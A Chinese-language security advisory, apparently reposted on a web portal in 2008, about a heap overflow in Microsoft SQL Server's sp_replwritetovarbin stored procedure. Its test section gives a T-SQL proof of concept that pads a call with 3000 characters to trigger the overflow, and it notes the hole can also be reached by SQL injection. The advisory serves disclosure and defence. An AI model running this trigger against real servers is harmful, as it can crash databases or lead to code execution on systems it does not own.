微软SQL Server sp_replwritetovarbin堆溢出

  作者:Amteam.org
2008/12/17 10:35:00
本文关键字: PM 理论探讨

  受影响系统:

  Microsoft SQL Server 2005 SP2

  Microsoft SQL Server 2005 SP1

  Microsoft SQL Server 2000

  描述:

  BUGTRAQ ID: 32710

  Microsoft SQL Server是一款流行的SQL数据库系统。SQL Server的sp_replwritetovarbin扩展存储过程中存在堆溢出漏洞。如果远程攻击者在参数中提供了未初始化变量的话,就可以触发这个溢出,向可控的位置写入内存,导致以有漏洞SQL Server进程的权限执行任意代码。

  在默认的配置中,任何用户都可以访问sp_replwritetovarbin过程。通过认证的用户可以通过直接的数据库连接或SQL注入来利用这个漏洞。

  测试方法:

  警 告 以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

      DECLARE @buf NVARCHAR(4000),
  @val NVARCHAR(4),
  @counter INT
  SET @buf = '
  declare @retcode int,
  @end_offset int,
  @vb_buffer varbinary,
  @vb_bufferlen int,
  @buf nvarchar;
  exec master.dbo.sp_replwritetovarbin 1,
  @end_offset output,
  @vb_buffer output,
  @vb_bufferlen output,'''
  SET @val = CHAR(0x41)
  SET @counter = 0
  WHILE @counter < 3000
  BEGIN
  SET @counter = @counter + 1
  SET @buf = @buf + @val
  END
  SET @buf = @buf + ''',''1'',''1'',''1'',
  ''1'',''1'',''1'',''1'',''1'',''1'''
  EXEC master..sp_executesql @buf

  补丁:

  目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

  http://www.microsoft.com/technet/security/

责编:
vsharing微信扫一扫实时了解行业动态
portalart微信扫一扫分享本文给好友

著作权声明:畅享网文章著作权分属畅享网、网友和合作伙伴,部分非原创文章作者信息可能有所缺失,如需补充或修改请与我们联系,工作人员会在1个工作日内配合处理。
最新专题
网络安全热点透析

随着移动互联、大数据、云计算、物联网等技术的日益发展,在这些热点技术为个人生活带来便利的同时,也为企业发展..

数据安全医药行业解决方案

采用身份鉴别、访问控制、数据加密以及权限控制等多种安全防护技术手段,保障数据库中医药数据只能被合法用户合规..

    畅享
    首页
    返回
    顶部
    ×
      信息化规划
      IT总包
      供应商选型
      IT监理
      开发维护外包
      评估维权
    客服电话
    400-698-9918